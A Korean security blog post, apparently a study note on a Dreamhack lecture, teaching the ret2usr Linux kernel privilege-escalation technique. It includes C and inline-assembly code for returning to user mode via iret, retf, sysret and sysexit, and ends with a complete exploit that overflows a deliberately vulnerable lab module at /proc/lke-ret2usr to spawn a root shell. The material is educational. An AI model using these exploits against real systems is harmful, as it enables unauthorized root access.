Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Linux Kernel] 6. ret2usr 본문

Hack/Kernel

[Linux Kernel] 6. ret2usr

CIDY 2023. 7. 26. 00:02

ret2usr는 커널 권한의 실행 흐름을 건드릴 수 있을 때, 이를 조작해 유저 영역의 코드를 실행하는 공격 기법이다.

SMEP나 SMAP와 같은 보호 기법이 적용되어 있지 않는 한, 커널은 자유롭게 사용자 공간의 메모리에 접근하고 실행할 수 있다.

 

유저 모드 익스가 거의 system("/bin/sh"); 하는 것으로 끝났다면 커널 익스는 commit_creds(prepare_kernel_cred(NULL)); 로 끝난다.

struct task_struct;
struct cred;
struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
	(void *) 0xffffffff81081716;
int (*commit_creds)(struct cred *new) =
	(void *) 0xffffffff8108157b;
void ret2usr(void)
{
    commit_creds(prepare_kernel_cred(NULL)); // 이 코드는 커널에서 실행됩니다.
}

kernel leak을 통해 prepare_kernel_cred함수와 commit_creds 함수의 주소를 구했다면 위 코드의 ret2usr함수를 커널 권한으로 실행해 lpe가 가능하다.

 

권한 상승에 성공했다면 루트 쉘을 획득할 수 있지만, ret2usr함수는 커널 모드에서 실행될 것이므로 사용자 모드 함수인 system을 바로 호출하면 환경이 맞지 않아 커널 패닉이 발생한다.

 

따라서 권한 상승 후 사용자 모드로 돌아와서 system함수를 실행해야 한다.

 

64비트 환경에서 사용자 모드로 전환하려면 swapgs를 실행한 후 iret, retf, sysret, sysexir중 하나를 수행해야 한다.

 

swapgs


swapgs는 GSBase의 값을 KernelGSbase의 값과 교환하는 명령어이다. 64비트 환경에서 리눅스 커널은 GSBase의 값을 GS의 기준 주소로 사용하고, GSBase:Offset 형식으로 GS영역을 참조한다. 이 GS기준 주소는 유저 모드와 커널 모드에서 다르기 때문에 유저 모드와 커널 모드가 서로 전환될 때 swapgs를 실행해 GSBase의 값을 KernelGSBase의 값과 서로 교환한다.

 

따라서 유저 모드와 커널 모드가 전환될 때에는 swapgs를 사용해서 GSBase를 교체해주어야 한다. 

 

 

iret


인터럽트를 처리할 때 x86 cpu는 실행 상태 일부를 trap frame이라는 구조에 맞춰 스택에 저장한다. 64비트 기준으로 RIP, CS, RFLAGS, RSP, SS레지스터 값으로 이루어진다. 이는 인터럽트를 처리한 뒤 원래 실행 상태로 복구할 때 쓰인다.

 

스택에 trap frame을 적절하게 구성하고 iret을 실행하면 사용자 모드로 전환할 수 있다. RFLAGS레지스터는 0x202로 설정하면 되고, CS = 0x33, SS = 0x2b로 설정하면 된다.

/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
	/* IRET에서 사용할 트랩 프레임을 정적으로 할당합니다. */
	static struct trap_frame {
		void *rip;
		uint64_t cs;               /* 실제로는 하위 16비트만 사용됨 */
		uint64_t rflags;
		void *rsp;
		uint64_t ss;               /* 실제로는 하위 16비트만 사용됨 */
	} tf = {
		.rip = &shell,             /* IRET에서 리턴할 함수 주소 */
		.cs = 0x33,                /* IRET 이후 CS 레지스터 값 */
		.rflags = 0x202,           /* IRET 이후 RFLAGS 레지스터 값 */
		.rsp = dummy_stack + 512,  /* IRET 이후 스택 포인터 */
		.ss = 0x2b                 /* IRET 이후 SS 레지스터 값 */
	};
	volatile register uint64_t RSP asm("rsp");  /* RSP 레지스터를 변수로 씁니다. */
	commit_creds(prepare_kernel_cred(0));       /* 권한을 상승시킵니다. */
	RSP = (uint64_t)&tf;                        /* 스택 포인터를 트랩 프레임에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"iretq"       /* IRET 명령을 실행합니다. */
		:: "r" (RSP)  /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
	);
}

 

 

retf


iret이랑 비슷한 프레임을 쓰는데, RFLAGS만 없다.

/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
	/* RETF에서 사용할 Far Return 프레임을 정적으로 할당합니다. */
	static struct far_return_to_outer_ring_frame {
		void *rip;
		uint64_t cs;               /* 실제로는 하위 16비트만 사용됨 */
		void *rsp;
		uint64_t ss;               /* 실제로는 하위 16비트만 사용됨 */
	} frf = {
		.rip = &shell,             /* RETF에서 리턴할 함수 주소 */
		.cs = 0x33,                /* RETF 이후 CS 레지스터 값 */
		.rsp = dummy_stack + 512,  /* RETF 이후 스택 포인터 */
		.ss = 0x2b                 /* RETF 이후 SS 레지스터 값 */
	};
	volatile register uint64_t RSP asm("rsp");  /* RSP 레지스터를 변수로 씁니다. */
	commit_creds(prepare_kernel_cred(0));       /* 권한을 상승시킵니다. */
	RSP = (uint64_t)&frf;                       /* 스택 포인터를 Far Return 프레임에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"retfq"       /* RETF 명령을 실행합니다. */
		:: "r" (RSP)  /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
	);
}

CS와 SS세팅은 위와 같이 해주면 된다.

 

 

sysret


sysret은 RCX를 RIP로, R11을 RFLAGS로 복사한 뒤 사용자 모드로 복귀하는 명령어이다. 사용자 모드에서 syscall명령어로 시스템 콜 요청이 들어오면 CPU는 RIP를 RCX에, RFLAGS를 R11에 저장하고, syscall처리 이후 sysret을 이용해 원래 흐름으로 돌아온다.

 

sysret은 구조체가 아닌 레지스터 값을 이용한다. 따라서 RCX는 사용자 영역 코드 주소를, RSP는 리턴 후 스택 포인터로 사용할 주소를, R11는 0x202(RFLAGS)로 설정해주고 sysret을 써야 한다.

/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
	/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
	volatile register uint64_t R11 asm("r11"), RCX asm("rcx"), RSP asm("rsp");
	commit_creds(prepare_kernel_cred(0));  /* 권한을 상승시킵니다. */
	R11 = 0x202;                           /* SYSRET 이후 RFLAGS 레지스터 값을 지정합니다. */
	RCX = (uint64_t)shell;                 /* SYSRET 이후 리턴할 함수 주소를 지정합니다. */
	RSP = (uint64_t)(dummy_stack + 512);   /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"sysretq"     /* SYSRET 명령을 실행합니다. */
		/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
		:: "r" (R11), "r" (RCX), "r" (RSP)
	);
}

 

 

sysexit


sysexit는 RCX를 RSP로, RDX를 RIP로 복사하고 사용자 모드로 복귀하는 명령어이다. 보통 sysenter로 커널에 진입했을 때 sysexit을 사용한다.

 

따라서 RCX에 RSP로 쓸 주소를, RDX에 실행할 사용자 영역 주소를 주고 sysexit을 쓰면 된다.

 

원칙적으로 sysexit은 32비트에서만 쓸 수 있지만, 호환 기능이 있으면 64비트 커널에서도 쓸 수 있다.

 

1. AMD CPU의 경우 sysexit을 이용하여 32비트 사용자 모드로만 복귀할 수 있고, Intel CPU에서만 64비트 사용자 모드로의 복귀가 가능하다.

 

2. 64비트 사용자 모드로 복귀한 후에는 SS세그먼트 레지스터가 무효한 값으로 설정되므로 사용자 모드에서 스택을 사용하려면 이걸 다시 복구해줘야 한다.

 

/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* shell_thunk에서 SS 복구 후 호출되는 함수입니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* ret2usr에서 사용자 모드로 반환한 후 shell_thunk 함수가 실행됩니다. */
__attribute__((naked)) void shell_thunk(void) {
	asm volatile(
		/* SS 레지스터를 복구합니다. */
		"mov ax, 0x2b\n\t"
		"mov ss, ax\n\t"
		/* shell 함수로 이동합니다. */
		"jmp shell"
	);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
	/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
	volatile register uint64_t RCX asm("rcx"), RDX asm("rdx");
	commit_creds(prepare_kernel_cred(0));  /* 권한을 상승시킵니다. */
	RCX = (uint64_t)(dummy_stack + 512);   /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
	RDX = (uint64_t)shell_thunk;           /* SYSEXIT 이후 리턴할 함수 주소를 지정합니다. */
	asm volatile(
		"cli\n\t"        /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"     /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"rex.W sysexit"  /* SYSEXIT 명령을 64비트 모드로 실행합니다. */
		/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
		:: "r" (RCX), "r" (RDX)
	);
}

 

 

ret2usr


우선 주어진 커널 모듈부터 확인해보자. 처음이니까 init이랑 cleanup도 모두 확인해보자.

 

static struct proc_dir_entry *proc_r2u;

우선 이렇게 proc_dir_entry형 포인터가 선언되는데, 이는 /proc/lke-ret2usr파일 정보를 저장하기 위한 포인터이다.

int __init init_module(void)
{
    /* /proc/lke-ret2usr 파일을 등록합니다.
     *
     *   S_IWUGO: 모든 사용자가 쓰기 권한을 가지도록 합니다.
     * &r2u_fops: 파일을 대상으로 한 작업의 구현을 지정합니다.
     */
    proc_r2u = proc_create("lke-ret2usr", S_IWUGO, NULL, &r2u_fops);

    /* 운영체제 메모리가 부족하면 proc_create() 함수 호출이 실패합니다.
     * ENOMEM 오류 코드를 반환하여 사용자에게 이 상태를 통보합니다.
     */
    if (!proc_r2u)
        return -ENOMEM;

    /* 모듈 부착(load)이 성공하였다는 메시지를 출력합니다. */
    pr_info("loaded\n");

    /* 작업이 성공하였음을 나타냅니다. */
    return 0;
}

이 코드는 모듈 로드 시 실행되는 코드로, /proc/lke-ret2usr라는 파일을 등록하는 작업을 한다.

 

/* 모듈 탈착(unload) 시 호출되는 함수입니다. */
void __exit cleanup_module(void)
{
    /* 앞서 등록한 /proc/lke-ret2usr 파일을 시스템으로부터 등록 해제합니다. */
    proc_remove(proc_r2u);

    /* 모듈 탈착(unload)이 성공하였다는 메시지를 출력합니다. */
    pr_info("unloaded\n");
}

이 코드는 모듈 언로드 시 호출되어 등록을 해제해준다.

 

static ssize_t ret2usr_write(struct file *file, const char __user *buf,
             size_t count, loff_t *ppos)
{
    /* 커널 스택 버퍼를 할당합니다. */
    char kern_buf[256] = { 0, };

    /* 사용자로부터 전달받은 주소의 값을 커널 스택 버퍼로 복사합니다. */
    if (_copy_from_user(kern_buf, buf, count) != 0)
        return -EFAULT;

    /* 작업이 성공했음을 나타냅니다. */
    return count;
}

이 모듈의 메인 기능은 이거다. 커널에서 버퍼를 할당한 다음 _copy_from_user함수를 쓰고 있다.

 

_copy_from_user(buf1, buf2, len); 해서 len만큼 buf2(유저모드)에서 buf1(커널모드)로 사용자 영역의 값을 읽어오는 함수이다.

 

그런데 이 함수가 인자로 count를 받고 있기 때문에 내 마음대로 count를 설정할 수 있고, bof가 발생하게 된다.

 

/* 파일을 정의할 때, 가능한 작업들에 대한 구현을 저장하는 구조체입니다. */
static const struct file_operations r2u_fops = {
    /* 소유자 커널 모듈을 나타내어, 파일이 열려 있는 동안에는
     * 모듈 탈착(unload)을 할 수 없도록 합니다. */
    .owner = THIS_MODULE,

    /* 파일 쓰기를 구현하는 함수의 포인터를 지정합니다.
     * 해당 파일에 write() 시스템 콜이 실행되면 이 함수가 호출됩니다. */
    .write = ret2usr_write,
};

마지막으로 bof취약점이 발생하는 ret2usr_write를 쓰려면 lke-ret2usr파일에 write시스템 콜을 쓰면 된다.

 

그럼 앞서 본 함수들 중 iret을 이용해서 익스해보자.

ret2usr가 어디로 돌아가는지 궁금했는데 스택을 살펴보면 0 ~ 0x100 = kern_buf, 하고 0x10의 더미가 있는데 그걸 pop count, pop rbp를 하고 ret을 하니까 스택 바로 아래가 ret위치이다.

 

kaslr이 꺼져있다고 가정하므로 이렇게 gdb에서 주소를 구해주면 된다.

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>

#define BUFFER_SIZE 256

struct task_struct;
struct cred;

static struct cred* (*prepare_kernel_cred)(struct task_struct *daemon) = (void*)0xffffffff81081716;
static int (*commit_creds)(struct cred* new) = (void*)0xffffffff8108157b;

uint64_t dummy_stack[512] __attribute__((aligned(16)));

void shell(){
    system("/bin/sh");
    _exit(0);
}

void ret2usr(){
    static struct trap_frame {
        void* rip;
        uint64_t cs;
        uint64_t rflags;
        void* rsp;
        uint64_t ss;
    } tf = {
        .rip = &shell,
        .cs = 0x33,
        .rflags = 0x202,
        .rsp = dummy_stack + 512,
        .ss = 0x2b
    };

    volatile register uint64_t RSP asm("rsp");
    commit_creds(prepare_kernel_cred(NULL));
    RSP = (uint64_t)&tf;
    asm volatile(
        "cli\n\t"
        "swapgs\n\t"
        "iretq"
        ::"r" (RSP)
    );

}

int main(){
    char buf[0x118] = {0};
    int fd = open("/proc/lke-ret2usr", O_WRONLY);
    if(fd < 0){
        perror("open"); 
        return EXIT_FAILURE;
    }
    memset(buf, 'A', 0x110);
    *(uint64_t*)(buf + 0x110) = (uint64_t)&ret2usr;
    write(fd, buf, sizeof(buf));
    abort();
}

이렇게 return부분에 ret2usr를 넣어서 쉘을 얻으면 루트 계정을 얻을 수 있다.

 

exploit

 

Ref.


https://dreamhack.io/lecture/courses/82

 

Exploit Tech: ret2usr

ret2usr의 원리 및 방법을 학습합니다.

dreamhack.io

 

'Hack > Kernel' 카테고리의 다른 글

[Linux Kernel] 7. Linux Kernel Protection  (1) 2023.07.27
[Linux Kernel] 5. Kernel Leak  (0) 2023.07.25
[Linux Kernel] 4. prepare & commit  (1) 2023.07.25
[Linux Kernel] 3. KASLR  (0) 2023.07.25
[Linux Kernel] 2. Kernel Debugging  (0) 2023.07.25